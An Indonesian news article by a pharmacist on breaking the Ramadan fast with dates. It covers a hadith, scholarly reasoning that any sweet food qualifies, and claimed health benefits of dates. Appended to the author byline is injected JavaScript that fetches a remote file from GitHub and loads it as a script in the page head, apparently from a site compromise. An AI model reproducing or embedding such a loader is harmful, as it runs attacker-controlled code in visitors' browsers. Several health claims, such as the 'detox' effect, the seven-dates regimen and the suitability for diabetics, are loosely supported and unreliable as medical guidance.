RI News – Seringkali kita mendengar anjuran dari banyak orang tentang berbuka puasa dengan yang manis – manis. Namun, ada juga beberapa pertanyaan terkait dengan hal ini.
Makanan minuman yang mana?
Kurma atau makanan minuman manis lainnya?
Bagaimana jika saya punya penyakit gula (diabetes mellitus)?
Baik, kita coba akan ulas bagian menarik dari berbuka dengan (kurma) yang manis dalam tulisan ini.
Anjuran untuk berbuka dengan yang manis, sejatinya disandarkan atas hadits berikut, yang diriwayatkan oleh Imam Ahmad, Abu Daud, dan At-Tirmidzi :
عن أنس بن مالك قال * كان النبي صلى الله عليه وسلم يفطر على رطبات قبل ان يصلي فان لم يكن رطبات فتمرات فان لم يكن تمرات حسا حسوات من ماء رواه أحمد وأبو داود والترمذي
Artinya,
“Dari Anas bin Malik RA, ia berkata, ‘Rasulullah SAW berbuka puasa dengan beberapa kurma matang dan basah sebelum melangsungkan shalat. Kalau tidak ada kurma basah, Rasulullah SAW berbuka dengan kurma kering. Bila tidak ada kurma kering, ia meminum beberapa teguk air,” (HR Ahmad, Abu Daud, At-Tirmidzi).
Penjabaran hadits diatas, telah diuraikan dengan baik oleh seorang ulama: Muhammad Ali As-Syaukani dalam kitab Nailul Autharfi Syarhi Muntaqal Akhbar, sebagai berikut :
وإذا كانت العلة كونه حلواً والحلو له ذلك التأثير فليحق به الحلويات كلها، أما ما كان أشد منه في الحلاوة فبفحوى الخطاب وما كان مساوياً له فبلحنه
Artinya,
‘Kalau illah (sebab) disunahkan berbuka dengan kurma itu karena manisnya (dan sifat manis itu menjadi sebab primer buka puasa Rasulullah SAW dengan kurma), maka semua bentuk makanan dan minuman manis lainnya juga tergolong kategori berbuka puasa berdasarkan sunah Rasulullah SAW’.
Ulama menggunakan kaidah fahwal khithab (qiyas di mana yang tidak disebut di nash Al-Quran/hadits lebih kuat dari yang disebut di nash), jika ada makanan atau minuman lain, yang lebih manis dari kurma. Begitupun kaidah lahnul khithab (qiyas qiyas di mana yang tidak disebut di nash Al-Quran/hadits setara dengan yang disebut di nash) juga digunakan, jika ada makanan dan minuman itu setara manisnya dengan kurma. Kesimpulannya, bersandar dari pengertian diatas maka berbuka dengan yang manis ini tetap dalam sunah kebaikan bagi anda yang berpuasa. Bagaimana kabar es serut, kolak, dawet, es buah dan sirop kelapa muda nanti sore?
hmm, yummy…! Namun jika ada kurma, jadikanlah pilihan sunah yang terbaik untuk menu berbuka kita.
Tidak dipungkiri, kurma sebagai buah yang tertua dimuka bumi ini menjadi makanan favorit banyak kalangan. Tak heran, hal ini karena ada banyak kebaikan nutrisi dan fiber (serat) yang terkandung didalam kurma.
Dalam 100 gram nya kurang lebih akan mengandung 280 kalori dan aneka nutrisi berikut :
- 2–2,5 gram protein
- 75 gram karbohidrat
- 65 gram gula
- 7–8 gram serat
- 65 miligram kalsium
- 650 miligram kalium
- 1 mg zat besi
- 0,5 miligram zinc
- 150 IU vitamin A
Selain nutrisi di atas, buah kurma juga mengandung folat, vitamin B, vitamin K, Mangan, dan beragam jenis antioksidan, termasuk lutein dan flavonoid.
KURMA MEMBANTU MENYEHATKAN SISTEM PENCERNAAN
Saat kondisi puasa Ramadhan organ lambung, usus kecil, usus besar beristirahat selama 12 jam setiap hari selama 1 bulan penuh, karena perut kosong (proses detoksifikasi). Situasi ini membuat organ – organ tersebut akan bekerja lebih baik lagi nantinya ketika berbuka puasa dengan masuknya asupan makanan. Ketika berbuka puasa pertama kali dengan makan kurma basah, sebelum dilanjutkan dengan makanan atau minuman lainnya maka kandungan fiber (serat) dalam kurma yang baik, akan membantu melancarkan saluran pencernaan dengan memperbaiki pergerakan usus, sehingga dapat memperlancar defekasi (buang air besar).
Anjurannya mengkonsumsi 7 butir kurma selama 21 hari, hal ini dapat menyehatkan saluran pencernaan.
Kesimpulannya, kurma yang dipakai berbuka puasa juga akan menyehatkan pencernaan, dan bisa memperlancar proses buang air besar.
KURMA, BUAH PILIHAN BERBUKA PUASA BAGI PASIEN DIABETES MELLITUS
Kurma diketahui merupakan makanan dengan indeks glikemik yang rendah.
Arti indeks glikemik rendah adalah : makanan yang dicerna tubuh secara perlahan, sehingga pelepasan kandungan glukosa nya juga terjadi secara perlahan, sehingga tidak akan menyebabkan peningkatan kadar gula ditubuh secara drastis.
Dengan demikian pasien diabetes mellitus yang puasa dan mengkonsumsi kurma secara wajar saat berbuka, hal ini tidak akan membuat kenaikan gula darah secara signifikan. Tentunya dengan dibatasi/kontrol juga menu makanan manis lainnya, agar gula darah tetap normal. Fiber (serat) pada kurma inilah yang memperlambat proses penyerapan makanan, sehingga kenaikan glukosa jadi lebih terkontrol.
KANDUNGAN MINERAL DALAM KURMA BAIK UNTUK HIPERTENSI
Adanya kandungan kalium dalam kurma, akan membantu pembuluh darah dan jantung bekerja menjadi lebih baik. Normalnya, kebutuhan konsumsi kalium pada manusia sehat 4.700 mg per harinya. Ditambah dengan antioksidan serta flavonoid yang terkandung dalam kurma, hal ini akan membuat kurma juga sebagai terapi nutrisi (food therapy) pada pasien dengan gangguan pembuluh, termasuk pada pasien hipertensi, jantung coroner, stroke yang juga mampu menjalani puasa Ramadhan.
Mari siapkan kurma terbaik, dalam sebulan penuh ramadhan kali ini. Jadikan puasa kita sebagai ladang amal, sekaligus perbaikan kesehatan dengan konsumsi makanan dan minuman yang pas untuk tubuh. Semoga penuh berkah, pahala puasa berlimpah untuk para pembaca sekalian.
Oleh: apt Roviq Adi Prabowo, RFP., CT.NNLP. Apoteker sekaligus Presidium NBasional Organisasi Profesi Apoteker Farmasis Indonesia Bersatu (FIB), Trainer One Academy dan Business Coach. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
Mantap